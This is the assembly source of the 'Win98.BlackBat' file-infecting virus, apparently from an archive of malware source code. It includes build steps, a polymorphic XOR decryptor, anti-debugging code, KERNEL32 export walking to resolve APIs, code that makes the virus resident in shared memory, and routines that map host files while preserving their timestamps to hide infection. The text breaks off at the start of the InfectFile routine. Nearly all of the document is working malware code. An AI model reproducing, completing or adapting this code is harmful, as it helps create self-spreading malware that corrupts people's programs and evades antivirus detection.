MalwareSourceCode/LegacyWindows/Win98.BlackBat.asm
2020-10-09 21:54:36 -05:00

1937 lines
73 KiB
NASM

;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | \|/ Win98.BlackBat | |
;| | (. .) ================ | |
;| | ( | ) | |
;| | ( v ) (c) 1999, Rohitab Batra | |
;| | __| |__ <sourcecode@rohitab.com> | |
;| | // \\ ICQ: 11153794 | |
;| | // ^ | |
;| | ((====> http://www.rohitab.com | |
;| | | |
;| | Discussion Forum: http://www.rohitab.com/discuss/ | |
;| | Mailing List: http://www.rohitab.com/mlist/ | |
;| | | |
;| | | |
;| |"Blessed is he who expects nothing, for he shall not be disappointed" | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
;
;Compiling (Turbo Assembler)
; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
;
;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
;message will be displayed, so that you don't accidently compile in release mode.
;In Release mode, the size of the Virus will be smaller, and .EXE files will be
;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
;in the current directory, will be infected.
;
;Linking (Turbo Linker)
; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
;
;Making Code Section Writable (EditBin from SDK, or any other utility)
; c:\>editbin /SECTION:CODE,w BlackBat.EXE
;
;***** Info About the Virus *****
;* If WIN.SYS is found in the root directory, the virus does not infect any file,
; and does not become resident.
;* File time and attributes are restored after infection
;* Encrypted with a random key
;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
;* Anti-Debugging Code
;* Structured Exception Handling
;* Decryption engine is Polymorphic
;
;***** TODO *****
;1. Dont infect files with todays date
;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
;3. Doesn't infect files in directories with long file names
.386p
.model flat ,stdcall
EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first
;generation copy executes without crashing
.data
DB ? ;Required for TASM, Else will Crash !!??
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @MESSAGE_BOX Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Displays a MessageBox with the given Message. Note the caption of
; the MessageBox is the same as the Message
;
; Arguments
; -> szMessage: Message to be displayed
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> ALL
;___________________________
@MESSAGE_BOX MACRO szMessage
IF DEBUG
@DELTA esi
mov eax, esi
add eax, offset szMessage
call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
ENDIF
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @DEFINE_API Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Defines an API that will be called by the Virus. The macro is expanded
; to the following, if APIName is MessageBoxA:
; szMessageBoxA DB "MessageBoxA", 0
; MessageBoxA DD ?
;
; Arguments
; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
; the DLL. e.g. MessageBoxA
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> None
;
;________________________
@DEFINE_API MACRO APIName
sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API
&APIName DD ? ;;Storage space for API Address
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @DELTA Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Returns the delta offset in the specified register
;
; Arguments
; -> Register: register in which the value of the delta offset is copied
;
; Return Value:
; -> Register: Delta Offset
;
; Registers Destroyed
; -> Register
;
;____________________
@DELTA MACRO Register
LOCAL GetIP
call GetIP ;;This will push EIP on the stack
GetIP:
pop Register ;;get EIP of current instruction
sub Register, offset GetIP ;;Delta Offset
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @OFFSET Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Returns the true offset of the specified address. Unlike the offset
; keyword, which calculates the address at assembly time, this macro
; calculates the address at run-time. This is used to get the correct
; offset when the virus has been relocated. Instead of using instructions
; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
;
; Arguments
; -> Register: register in which the offset is to be returned
; -> Expression: expression whose offset is required
;
; Return Value:
; -> Register: Correct offset of Expression
;
; Registers Destroyed
; -> Register
;
;_________________________________
@OFFSET MACRO Register, Expression
LOCAL GetIP
call GetIP ;;This will push EIP on the stack
GetIP:
pop Register ;;get EIP of current instruction
add Register, offset Expression - offset GetIP ;;True offset
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @GET_API_ADDRESS Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Gets the address of the API, and stores it
;
; Arguments
; -> APIName: API whose address is required
; -> ESI: Delta Offset
; -> EBX: Address of GetProcAddress(...)
; -> ECX: Base address of DLL which exports the API
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All Except ESI, EBX and ECX
;
;_____________________________
@GET_API_ADDRESS MACRO APIName
push ebx ;;Save Addr of GetProcAddress(...)
push ecx ;;Save Image Base
mov eax, esi
add eax, offset sz&APIName ;;API whose address is required
call ebx, ecx, eax ;;GetProcAddress(...)
pop ecx ;;Restore Image Base
pop ebx ;;Restore Addr of GetProcAddress(...)
mov [esi + APIName], eax ;;Save API Address
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> @TRY_BEGIN: This macro is used to install the exception handler. The
; code that follows this is the one that is checked for
; exceptions
; @TRY_EXCEPT: The code that follows this is executed if an exception
; occurs.
; @TRY_END: This is used to mark the end of the TRY block
;
; Example
; @TRY_BEGIN ZeroMemory
; <CODE1: Code to check for exceptions goes here>
; @TRY_CATCH ZeroMemory
; <CODE2: Gets executed if an exception occurs in CODE1>
; @TRY_END ZeroMemory
;
; Arguments
; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
; program
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> If an exception occurs, all registers are restored to the state before
; the @TRY_BEGIN block, otherwise, no registers are modified
;_______________________
@TRY_BEGIN MACRO Handler
pushad ;;Save Current State
@OFFSET esi, Handler ;;Address of New Exception Handler
push esi
push dword ptr fs:[0] ;;Save Old Exception Handler
mov dword ptr fs:[0], esp ;;Install New Handler
ENDM
@TRY_EXCEPT MACRO Handler
jmp NoException&Handler ;;No Exception Occured, so jump over
Handler:
mov esp, [esp + 8] ;;Exception Occured, Get old ESP
pop dword ptr fs:[0] ;;Restore Old Exception Handler
add esp, 4 ;;ESP value before SEH was set
popad ;;Restore Old State
ENDM
@TRY_END MACRO Handler
jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
NoException&Handler: ;;No Exception Occured
pop dword ptr fs:[0] ;;Restore Old Exception Handler
add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ...
;;...4 for push offset Handler. (No Restore State)
ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @CALL_INT21h Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Makes an INT 21h Call in Protected Mode
;
; Arguments
; -> Service: INT 21h Service Number
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> Depends on Service called
;_________________________
@CALL_INT21h MACRO Service
mov eax, Service ;;INT 21h Service
@DELTA esi
call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Constants | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
;Win32 Constants
PAGE_READWRITE EQU 00000004h
IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
IMAGE_FILE_DLL EQU 2000h ;File is a DLL
FILE_MAP_ALL_ACCESS EQU 000F001Fh
IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
NULL EQU 0
TRUE EQU 1
FALSE EQU 0
;File Access
GENERIC_READ EQU 80000000h ;Access Mode Read Only
GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
INVALID_HANDLE_VALUE EQU -1
ERROR_ALREADY_EXISTS EQU 000000B7h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
OPEN_EXISTING EQU 3 ;Fail if not found
;Shutdown Options
EWX_FORCE EQU 4
EWX_SHUTDOWN EQU 1
;MessageBox
MB_OK EQU 00000000h
MB_YESNO EQU 00000004h
MB_ICONINFORMATION EQU 00000040h
;Virus_Constants
@BREAK EQU int 3
;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975
RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident
RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident
;VxD Stuff
VWIN32_Int21Dispatch EQU 002A0010h
LFN_OPEN_FILE_EXTENDED EQU 716Ch
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PR_SHARED EQU 80060000h
PC_PRESENT EQU 80000000h
PC_FIXED EQU 00000008h
PD_ZEROINIT EQU 00000001h
SHARED_MEMORY EQU 80000000h ;Anything above this is shared
PageReserve EQU 00010000h
PageCommit EQU 00010001h
PAGE_SIZE EQU 4096 ;Size of a Page in Win9x
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Structures | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
IMAGE_DOS_HEADER STRUC ;DOS .EXE header
IDH_e_magic DW ? ;Magic number
IDH_e_cblp DW ? ;Bytes on last page of file
IDH_e_cp DW ? ;Pages in file
IDH_e_crlc DW ? ;Relocations
IDH_e_cparhdr DW ? ;Size of header in paragraphs
IDH_e_minalloc DW ? ;Minimum extra paragraphs needed
IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed
IDH_e_ss DW ? ;Initial (relative) SS value
IDH_e_sp DW ? ;Initial SP value
IDH_e_csum DW ? ;Checksum
IDH_e_ip DW ? ;Initial IP value
IDH_e_cs DW ? ;Initial (relative) CS value
IDH_e_lfarlc DW ? ;File address of relocation table
IDH_e_ovno DW ? ;Overlay number
IDH_e_res DW 4 DUP (?) ;Reserved words
IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo)
IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific
IDH_e_res2 DW 10 DUP (?) ;Reserved words
IDH_e_lfanew DD ? ;File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_FILE_HEADER STRUC
IFH_Machine DW ? ;System that the binary is intended to run on
IFH_NumberOfSections DW ? ;Number of sections that follow headers
IFH_TimeDateStamp DD ? ;Time/Date the file was created on
IFH_PointerToSymbolTable DD ? ;Used for debugging information
IFH_NumberOfSymbols DD ? ;Used for debugging information
IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER)
IFH_Characteristics DW ? ;Flags used mostly for libraries
IMAGE_FILE_HEADER ENDS
IMAGE_DATA_DIRECTORY STRUC
IDD_VirtualAddress DD ?
IDD_Size DD ?
IMAGE_DATA_DIRECTORY ENDS
IMAGE_OPTIONAL_HEADER STRUC
;Standard Fields
IOH_Magic DW ? ;Mostly 0x010B
IOH_MajorLinkerVersion DB ? ;Version of the linker used
IOH_MinorLinkerVersion DB ? ;Version of the linker used
IOH_SizeOfCode DD ? ;Size of executable code
IOH_SizeOfInitializedData DD ? ;Size of Data Segment
IOH_SizeOfUninitializedData DD ? ;Size of bss Segment
IOH_AddressOfEntryPoint DD ? ;RVA of code entry point
IOH_BaseOfCode DD ? ;Offset to executable code
IOH_BaseOfData DD ? ;Offset to initialized data
;NT Additional Fields
IOH_ImageBase DD ? ;Preferred load address
IOH_SectionAlignment DD ? ;Alignment of Sections in RAM
IOH_FileAlignment DD ? ;Alignment of Sections in File
IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image
IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image
IOH_MajorImageVersion DW ? ;User specified version number
IOH_MinorImageVersion DW ? ;User specified version number
IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version
IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version
IOH_Win32VersionValue DD ? ;Mostly set to 0
IOH_SizeOfImage DD ? ;Amount of memory the image will need
IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table
IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers)
IOH_Subsystem DW ? ;Subsystem required to run this image
IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point
IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack
IOH_SizeOfStackCommit DD ? ;Size of initially commited stack
IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve
IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap
IOH_LoaderFlags DD ? ;Not generally used
IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory
IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
IMAGE_OPTIONAL_HEADER ENDS
IMAGE_EXPORT_DIRECTORY STRUC
IED_Characteristics DD ? ;Currently set to 0
IED_TimeDateStamp DD ? ;Time/Date the export data was created
IED_MajorVersion DW ? ;User settable
IED_MinorVersion DW ?
IED_Name DD ? ;RVA of DLL ASCIIZ name
IED_Base DD ? ;First valid exported ordinal
IED_NumberOfFunctions DD ? ;Number of entries
IED_NumberOfNames DD ? ;Number of entries exported by name
IED_AddressOfFunctions DD ? ;RVA of export address table
IED_AddressOfNames DD ? ;RVA of export name table pointers
IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry
IMAGE_EXPORT_DIRECTORY ENDS
IMAGE_SECTION_HEADER STRUC
ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
UNION
ISH_PhysicalAddress DD ?
ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded
ENDS
ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM
ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment
ISH_PointerToRawData DD ? ;Offset from files beginning to sections data
ISH_PointerToRelocations DD ?
ISH_PointerToLinenumbers DD ?
ISH_NumberOfRelocations DW ?
ISH_NumberOfLinenumbers DW ?
ISH_Characteristics DD ? ;Flags to decide how section should be treated
IMAGE_SECTION_HEADER ENDS
SYSTEMTIME STRUC
ST_wYear DW ?
ST_wMonth DW ?
ST_wDayOfWeek DW ?
ST_wDay DW ?
ST_wHour DW ?
ST_wMinute DW ?
ST_wSecond DW ?
ST_wMilliseconds DW ?
SYSTEMTIME ENDS
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Virus Entry Point | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
.code
;Decryptor
StartOfVirusCode:
call GetDelta
GetDelta:
DB 5Eh ;pop esi
DB 83h ;add esi, EncryptedVirusCode - GetDelta
DB 0C6h
DB offset EncryptedVirusCode - offset GetDelta
DB 0B9h ;mov ecx, ENCRYPTED_SIZE
DD ENCRYPTED_SIZE
DecryptByte:
DB 80h ;xor byte ptr [esi], 00h
DB 36h
EncryptionKey:
DB 00h
DB 46h ;inc esi
DB 49h ;dec ecx
jnz DecryptByte
EncryptedVirusCode: ;Code from this point is encrypted
jmp WinMain ;Goto Main Program
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Data Area | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL
dwUserBase DD ? ;Base address of USER32.DLL
szUser32DLL DB "USER32", 0 ;.DLL Extention is not required
;Host File Variables
hHostFile DD ? ;Handle of host file
hMappedFile DD ? ;Handle of mapped host file
lpHostFile DD ? ;Pointer to mapped host file in memory
ftLastAccessTime FILETIME ? ;Time the file was last accessed
ftLastWriteTime FILETIME ? ;Time the file was last written to
dwFileAttributes DD ? ;File attributes of host file
;Virus Variables
szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected
;VxD Stuff
OldInt30 DB 6 DUP (0)
VxDCall_Busy DB ? ;Semaphore
szOutputFile DB "C:\VIRUS.TXT", 0
;KERNEL32 API's
VxDCall DD ? ;Exported by ordinal only (Ord 1)
@DEFINE_API GetProcAddress
@DEFINE_API CloseHandle
@DEFINE_API CreateFileA
@DEFINE_API CreateFileMappingA
@DEFINE_API GetFileAttributesA
@DEFINE_API GetFileSize
@DEFINE_API GetFileTime
@DEFINE_API GetLocalTime
@DEFINE_API GetTickCount
@DEFINE_API LoadLibraryA
@DEFINE_API MapViewOfFile
@DEFINE_API SetFileAttributesA
@DEFINE_API SetFileTime
@DEFINE_API UnmapViewOfFile
;USER32 API's
@DEFINE_API ExitWindowsEx
IF DEBUG
@DEFINE_API MessageBoxA
ENDIF
;DEBUG Only Stuff
IF DEBUG
szHostFileName DB "NOTEPAD.EXE",0
szWinMainHandler DB "Unhandled Exception in WinMain", 0
szPayLoad DB "Happy BirthDay :-)", 0
szInfected DB "This File is Infected by the BlackBat Virus", 0
ENDIF
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | WinMain | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
WinMain PROC
IFE DEBUG ;Only for Release Versions
cli
not esp ;Anti-Debug Code ...
not esp ;...will crash if single-stepped
sti
ENDIF
@TRY_BEGIN WinMain_Handler ;Putting code in protected block
call IsVirusActive
test eax, eax ;Virus Resident ?
jne End_WinMain ;Yes, return to host
;Get Addresses of all Required API's
call GetAPIAddresses ;Get the addresses of the other API's
test eax, eax ;Error occured ?
jz End_WinMain ;Transfer control to host
IF DEBUG
@MESSAGE_BOX szInfected
@OFFSET ebx, szHostFileName
call InfectFile, ebx
ENDIF
;Check if this Machine is to be Infected
call CanMachineBeInfected ;Is this my machine
test eax, eax
jz End_WinMain ;Yes, so don't infect
;Relocate Virus (Make Resident)
call RelocateVirus
or eax, eax ;Virus Relocated?
je End_WinMain ;No
;Jump to Relocated Virus Copy
@OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy
add eax, offset RelocatedVirus - offset StartOfVirusCode
jmp eax ;Control will go to Relocated Copy
;This part is the Relocated Copy of the Virus in Shared Memory
RelocatedVirus:
;When a file is infected, the CALL instruction at label ReturnToHost is
;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
;this JMP instruction will point to some invalid location. We need to modify
;this, so that the JMP points to the host program (which was not relocated)
;The offset of Calculate_Offset_Instruction in the non-relocated virus was
;saved in EBX before jumping here. Now we calculate the offset in the relocated
;virus (this copy).
@DELTA eax
mov esi, eax ;Save Delta Offset
add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy
sub eax, ebx ;Difference in offsets
;We now subtract this difference from the offset specified in the JMP
;instruction, and update the JMP instruction to point to the correct location
;in memory
add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction
sub [esi], eax ;Fix JMP instruction
call InstallHookProcedure
End_WinMain:
@TRY_EXCEPT WinMain_Handler
@MESSAGE_BOX szWinMainHandler
@TRY_END WinMain_Handler
ReturnToHost:
DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control
;to the host. The address of this JMP
;instruction is calculated at run-time
;ret ;Not required, since control is transfered to host
WinMain ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | GetAPIAddresses | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Finds the Address of the API's to be used by the virus
;
; Arguments
; -> None
;
; Return Value:
; -> EAX: 1, if the API addresses were found, 0 otherwise
;
; Registers Destroyed
; -> All
;___________________
GetAPIAddresses PROC
call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
test eax, eax ;Found Address ?
jz End_GetAPIAddresses ;No, Return 0
;Get addresses of all required KERNEL32 API's
;ESI = Delta Offset
;EBX = Address of GetProcAddress(...)
;ECX = Image Base of KERNEL32.DLL
@DELTA esi
mov ebx, eax ;Address of GetProcAddress(...)
mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
@GET_API_ADDRESS CloseHandle
@GET_API_ADDRESS CreateFileA
@GET_API_ADDRESS CreateFileMappingA
@GET_API_ADDRESS GetFileAttributesA
@GET_API_ADDRESS GetFileSize
@GET_API_ADDRESS GetFileTime
@GET_API_ADDRESS GetLocalTime
@GET_API_ADDRESS GetTickCount
@GET_API_ADDRESS LoadLibraryA
@GET_API_ADDRESS MapViewOfFile
@GET_API_ADDRESS SetFileAttributesA
@GET_API_ADDRESS SetFileTime
@GET_API_ADDRESS UnmapViewOfFile
;Load USER32.DLL
push ebx ;Save address of GetProcAddress(...)
mov eax, esi ;Delta Offset
add eax, offset szUser32DLL ;Name of DLL to be loaded
call esi + LoadLibraryA, eax
mov ecx, eax ;Base address of USER32.DLL
pop ebx ;Restore address of GetProcAddress(...)
;Get addresses of all required USER32 API's
;ESI = Delta Offset
;EBX = Address of GetProcAddress(...)
;ECX = Image Base of USER32.DLL
@GET_API_ADDRESS ExitWindowsEx
IF DEBUG
@GET_API_ADDRESS MessageBoxA
ENDIF
End_GetAPIAddresses:
ret
GetAPIAddresses ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | GetAddressOfKernelAPI | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
; VxDCall API is exported by ordinal only, and the GetProcAddress is
; exported by name.
;
; Arguments
; -> EDX: offset of the program <---- NOT USED ANYMORE ???
; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
; of GetProcAddress is returned.
;
; Return Value:
; -> EAX: Address of the Required API if Found, Else NULL
;
; Registers Destroyed
; -> All
;______________________________
GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
LOCAL lpdwAddressOfFunctions:DWORD, \
lpdwAddressOfNames:DWORD, \
lpwAddressOfNameOrdinals: WORD, \
dwVAIED:DWORD
;Get File Headers
call GetFileHeaders, dwKernelBase
test eax, eax ;Successfully Retreived Headers?
je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
mov [dwVAIED], edx
mov esi, dwKernelBase
;Get Address of Functions
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
add eax, esi ;VA of Address of functions
mov dword ptr [lpdwAddressOfFunctions], eax
;Check which API is Required
cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
jne GetProcAddressRequired ;GetProcAddress
;Get Address of VxDCall API (Ordinal 1)
xor eax, eax
inc eax ;Ordinal Reqd = 1
sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
jmp GetAddressFromIndex
GetProcAddressRequired:
;Get Address of Names
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
add eax, esi ;VA of Address of Names
mov dword ptr [lpdwAddressOfNames], eax
;Get Address of Name ordinals
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
add eax, esi ;VA of Add of Name Ordinals
mov dword ptr [lpwAddressOfNameOrdinals], eax
;Find the API index in the AddressOfNames array
push esi ;Save the base address of KERNEL32
mov eax, esi ;Also save in EAX
xor ebx, ebx
dec ebx ;Initialize Index to -1
mov edx, dword ptr [lpdwAddressOfNames]
@OFFSET esi, szGetProcAddress ;API to be found
mov ecx, esi ;Save address in ECX
CheckNextAPI:
inc ebx ;increment index
mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index
add edi, eax ;get the VA from the RVA
mov esi, ecx ;get address stored previously
CheckNextByte:
cmpsb ;Check Byte
jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
cmp byte ptr [edi], 0 ;Have we reached the end-of-string
je FoundAPI ;Yes? We've found the API
jmp CheckNextByte ;No, Check the next byte
FoundAPI:
;EBX contains the index of the function into the array
pop esi ;Get the base address of KERNEL32
;Compute the Index
mov ecx, ebx
mov edx, dword ptr [lpwAddressOfNameOrdinals]
movzx eax, word ptr [edx + ecx*2] ;Index
;Get the Address (EAX = Index, ESI = Kernel32 Base)
GetAddressFromIndex:
mov ebx, [lpdwAddressOfFunctions]
mov eax, dword ptr [ebx + eax*4] ;RVA of the API
add eax, esi ;VA of the API
End_GetAddressOfKernelAPI:
ret
GetAddressOfKernelAPI ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | OpenAndMapFile | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Opens a file from disk, and maps it into memory. The function also
; saves the file modified time and file attributes before opening the
; file. These are later restored by UnmapAndCloseFile
;
; Arguments
; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
;
; Return Value:
; -> EAX: Starting address of memory where the file has been mapped, or 0
; if an error occured
; -> ECX: Original File Size
;
; Registers Destroyed
; -> All
;_______________________________________________________________
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
@DELTA esi
;Save File Attributes, and Clear all attributes
call esi + GetFileAttributesA, oamf_szFileName
mov [esi + dwFileAttributes], eax ;Save File Attributes
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
test eax, eax ;File Attributes Set ?
je End_OpenAndMapFile ;No, Return 0
;Open the file in R/W mode
call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
je Error_OpenAndMapFile_Create ;No
mov [esi + hHostFile], eax ;Yes, Save handle of host file
;Get and Store File Time
lea ebx, [esi + ftLastAccessTime]
lea ecx, [esi + ftLastWriteTime]
call esi + GetFileTime, eax, NULL, ebx, ecx
;Compute the new file size
call esi + GetFileSize, [esi + hHostFile], NULL
add eax, [oamf_dwAddBytes] ;Compute New File Size
;Map the file
call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
0, eax, NULL
test eax, eax ;File Mapping Created
jz Error_OpenAndMapFile_Mapping ;No
mov [esi + hMappedFile], eax ;Yes, Save Handle
;Map View of the File
call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov [esi + lpHostFile], eax ;Have to save Mapped Address
test eax, eax ;File Mapped Successfully ?
jnz End_OpenAndMapFile ;Yes
;Error Occured, Close Files, and Restore Attributes
call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
Error_OpenAndMapFile_Mapping:
call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
Error_OpenAndMapFile_Create:
call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
xor eax, eax ;Error, Return 0
End_OpenAndMapFile:
ret
OpenAndMapFile ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | UnmapAndCloseFile | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Unmaps the open file and closes the handles associated with it. It
; also restores the original file attributes and file time.
;
; Arguments
; -> uacf_szFilename: Name of the file that is being unmapped. This is
; used only to restore the file attributes
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All
;_____________________
UnmapAndCloseFile PROC uacf_szFilename:DWORD
;Unmap File
@DELTA esi
call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
;Restore File Time
lea eax, [esi + ftLastAccessTime]
lea ebx, [esi + ftLastWriteTime]
call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
;Close File
call esi + CloseHandle, [esi + hHostFile] ;Close the File
;Restore File Attributes
call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
ret
UnmapAndCloseFile ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | InfectFile | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Infects the host file with our virus
;
; Arguments
; -> DWORD if_szFileName: Address of the file to be infected
; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
;
; Return Value:
; -> EAX: 1 if Infected, 0 on Error
;
; Registers Destroyed
